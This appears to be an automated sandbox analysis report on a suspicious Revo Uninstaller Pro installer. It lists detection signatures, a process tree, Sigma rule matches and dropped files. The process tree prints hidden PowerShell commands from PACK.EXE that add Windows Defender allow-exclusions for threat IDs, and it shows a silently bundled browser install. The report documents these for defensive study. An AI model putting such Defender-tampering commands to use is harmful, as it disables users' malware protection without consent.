Edit tour

Windows Analysis Report
Revo.Uninstaller.Pro.v5.3.4.exe

Overview

General Information

Sample name:	Revo.Uninstaller.Pro.v5.3.4.exe
Analysis ID:	1571786
MD5:	881464f03502d44e29e5fea8b4c35538
SHA1:	8d2337cd5d72f43415e1d8ffb352a85d3374dd1c
SHA256:	2a789deb64dd90261f2833d4da0d9f617f2a37ce49ecfa085f5dd43725795a1f
Tags:	exeuser-Bacn
Infos:

Detection

Score:	44
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

AI detected suspicious sample

Connects to a pastebin service (likely for C&C)

Creates an autostart registry key pointing to binary in C:\Windows

Creates an undocumented autostart registry key

Loading BitLocker PowerShell Module

Possible COM Object hijacking

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the driver directory

Creates files inside the system directory

Creates or modifies windows services

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries keyboard layouts

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Queries time zone information

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Classes Autorun Keys Modification

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potentially Suspicious Rundll32 Activity

Sigma detected: Suspicious Rundll32 Setupapi.dll Activity

Sigma detected: Use Short Name Path in Command Line

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

Revo.Uninstaller.Pro.v5.3.4.exe (PID: 7324 cmdline: "C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe" MD5: 881464F03502D44E29E5FEA8B4C35538)

rundll32.exe (PID: 7724 cmdline: RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf MD5: EF3179D498793BF4234F708D3BE28633)

runonce.exe (PID: 7784 cmdline: "C:\Windows\system32\runonce.exe" -r MD5: 9ADEF025B168447C1E8514D919CB5DC0)

grpconv.exe (PID: 7820 cmdline: "C:\Windows\System32\grpconv.exe" -o MD5: 8531882ACC33CB4BDC11B305A01581CE)

regsvr32.exe (PID: 7956 cmdline: regsvr32.exe /s "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll" MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

RevoUninPro.exe (PID: 8000 cmdline: "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe" /bc MD5: EE15BFE5A394ADBFB087B053A6A72821)

ruplp.exe (PID: 8048 cmdline: "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe" /regserver /NOREDIRECT MD5: 216B49B7EB7BE44D7ED7367F3725285F)

RevoUninPro.exe (PID: 8128 cmdline: "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe" MD5: EE15BFE5A394ADBFB087B053A6A72821)

cmd.exe (PID: 1620 cmdline: cmd.exe /c "C:\Users\user\AppData\Local\Temp\PACK.EXE" -p123 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PACK.EXE (PID: 3756 cmdline: C:\Users\user\AppData\Local\Temp\PACK.EXE -p123 MD5: A868E9C0A97C2EF80602C0F6634913F8)

powershell.exe (PID: 1260 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147781989 -ThreatIDDefaultAction_Actions Allow -Force" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7620 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147735505 -ThreatIDDefaultAction_Actions Allow -Force" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1244 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147814523 -ThreatIDDefaultAction_Actions Allow -Force" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ya.exe (PID: 4420 cmdline: "C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe" MD5: 7ACCFDE96C04320BA099144A7BE710CC)

OperaSetup.exe (PID: 7852 cmdline: "C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0 MD5: 5A1105F1C25A60B128D45EC03041BF48)

setup.exe (PID: 8040 cmdline: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe --silent --allusers=0 --server-tracking-blob=NjAxODRkYTk2NmVjNjFhZDRjZmFkOGU5NDAyOGEwYWNlYzViZGE5ZjVkYTg0YmUwMzJiZDRjZWFjZGQ4ODM0Njp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijoib3BlcmEiLCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cz91dG1fc291cmNlPURXTkxTVCZ1dG1fbWVkaXVtPWFwYiZ1dG1fY2FtcGFpZ249cjEwIiwidGltZXN0YW1wIjoiMTczMzc2MzI0Mi4yNjIyIiwidXNlcmFnZW50IjoiTlNJU19JbmV0YyAoTW96aWxsYSkiLCJ1dG0iOnsiY2FtcGFpZ24iOiJyMTAiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJEV05MU1QifSwidXVpZCI6ImNkOWY4MWM2LTcyOWEtNGQ5NS1hYzcxLTFlYmJhNzViZmM3YiJ9 MD5: F9DA76E8D7DB633AB031EE5AC59BB55E)

setup.exe (PID: 1640 cmdline: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=115.0.5322.77 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x6c2f7cf4,0x6c2f7d00,0x6c2f7d0c MD5: F9DA76E8D7DB633AB031EE5AC59BB55E)

setup.exe (PID: 2252 cmdline: "C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe" --version MD5: F9DA76E8D7DB633AB031EE5AC59BB55E)

setup.exe (PID: 8068 cmdline: "C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --showunbox=0 --installfolder="C:\Users\user\AppData\Local\Programs\Opera" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=8040 --package-dir-prefix="C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20241209115409" --session-guid=57f4b7c1-1875-4c3d-aada-fe1e595f9b71 --server-tracking-blob="ZTEzMzE3M2U4ODhkN2Y3YmE0ODQ3NmYwNmNlNmJmMDE4NmY4MzAzYmNmNWRmMWYyYmVlYWJmNDExZjE1ZDAzODp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cz91dG1fc291cmNlPURXTkxTVCZ1dG1fbWVkaXVtPWFwYiZ1dG1fY2FtcGFpZ249cjEwIiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzMzNzYzMjQyLjI2MjIiLCJ1c2VyYWdlbnQiOiJOU0lTX0luZXRjIChNb3ppbGxhKSIsInV0bSI6eyJjYW1wYWlnbiI6InIxMCIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6IkRXTkxTVCJ9LCJ1dWlkIjoiY2Q5ZjgxYzYtNzI5YS00ZDk1LWFjNzEtMWViYmE3NWJmYzdiIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=1806000000000000 MD5: F9DA76E8D7DB633AB031EE5AC59BB55E)

setup.exe (PID: 8056 cmdline: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=115.0.5322.77 --initial-client-data=0x31c,0x320,0x330,0x2f8,0x334,0x6b717cf4,0x6b717d00,0x6b717d0c MD5: F9DA76E8D7DB633AB031EE5AC59BB55E)

ruplp.exe (PID: 1188 cmdline: C:\PROGRA~1\VSREVO~1\REVOUN~1\ruplp.exe -Embedding MD5: 216B49B7EB7BE44D7ED7367F3725285F)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000000.2096953602.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
10.0.ruplp.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147781989 -ThreatIDDefaultAction_Actions Allow -Force", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147781989 -ThreatIDDefaultAction_Actions Allow -Force", CommandLine|base64offset|contains: z%, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\PACK.EXE -p123, ParentImage: C:\Users\user\AppData\Local\Temp\PACK.EXE, ParentProcessId: 3756, ParentProcessName: PACK.EXE, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147781989 -ThreatIDDefaultAction_Actions Allow -Force", ProcessId: 1260, ProcessName: powershell.exe

Sigma detected: Classes Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: {2C5515DC-2A7E-4BFD-B813-CACC2B685EB7}, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\regsvr32.exe, ProcessId: 7956, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\RUShellExt\(Default)

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: grpconv -o, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\rundll32.exe, ProcessId: 7724, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\GrpConv

Sigma detected: Potentially Suspicious Rundll32 Activity

Source: Process started

Author: juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems): Data: Command: RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf, CommandLine: RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf, CommandLine|base64offset|contains: [HZ, Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: "C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe", ParentImage: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe, ParentProcessId: 7324, ParentProcessName: Revo.Uninstaller.Pro.v5.3.4.exe, ProcessCommandLine: RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf, ProcessId: 7724, ProcessName: rundll32.exe

Sigma detected: Suspicious Rundll32 Setupapi.dll Activity

Source: Process started

Author: Konstantin Grishchenko, oscd.community: Data: Command: "C:\Windows\system32\runonce.exe" -r, CommandLine: "C:\Windows\system32\runonce.exe" -r, CommandLine|base64offset|contains: , Image: C:\Windows\System32\runonce.exe, NewProcessName: C:\Windows\System32\runonce.exe, OriginalFileName: C:\Windows\System32\runonce.exe, ParentCommandLine: RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 7724, ParentProcessName: rundll32.exe, ProcessCommandLine: "C:\Windows\system32\runonce.exe" -r, ProcessId: 7784, ProcessName: runonce.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: C:\PROGRA~1\VSREVO~1\REVOUN~1\ruplp.exe -Embedding, CommandLine: C:\PROGRA~1\VSREVO~1\REVOUN~1\ruplp.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe, NewProcessName: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe, OriginalFileName: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 752, ProcessCommandLine: C:\PROGRA~1\VSREVO~1\REVOUN~1\ruplp.exe -Embedding, ProcessId: 1188, ProcessName: ruplp.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147781989 -ThreatIDDefaultAction_Actions Allow -Force", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147781989 -ThreatIDDefaultAction_Actions Allow -Force", CommandLine|base64offset|contains: z%, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\PACK.EXE -p123, ParentImage: C:\Users\user\AppData\Local\Temp\PACK.EXE, ParentProcessId: 3756, ParentProcessName: PACK.EXE, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147781989 -ThreatIDDefaultAction_Actions Allow -Force", ProcessId: 1260, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\tsjtmfdm[1].pkg	ReversingLabs: Detection: 29%
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	ReversingLabs: Detection: 29%
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	ReversingLabs: Detection: 25%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.5% probability

Source: Revo.Uninstaller.Pro.v5.3.4.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoAppBar.exe	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoCmd.exe	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUnPro.exe	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.sys	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Vista	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Vista\revoflt.inf	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Vista\revoflt.sys	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Win10	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Win10\revoflt.inf	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Win10\revoflt.sys	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\License.txt	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Revo Uninstaller Pro Help.pdf	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\reg_lp.bat	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\rupilogs.rupldb	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\Estonian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\albanian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\arabic.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\armenian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\azerbaijani.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\bengali.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\bulgarian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\czech.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\danish.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\dutch.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\english.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\finnish.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\french.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\german.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\gujarati.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hebrew.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hellenic.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hindi.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hrvatski.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hungarian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\indonesian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\italiano.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\japanese.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\korean.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\kurdish.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\macedonian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\norwegian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\persian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\polish.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\portuguese.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\portuguese_standard.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\portuguesebrazil.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\romanian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\russian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\serbian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\serbianLatin.ini	Jump to behavior
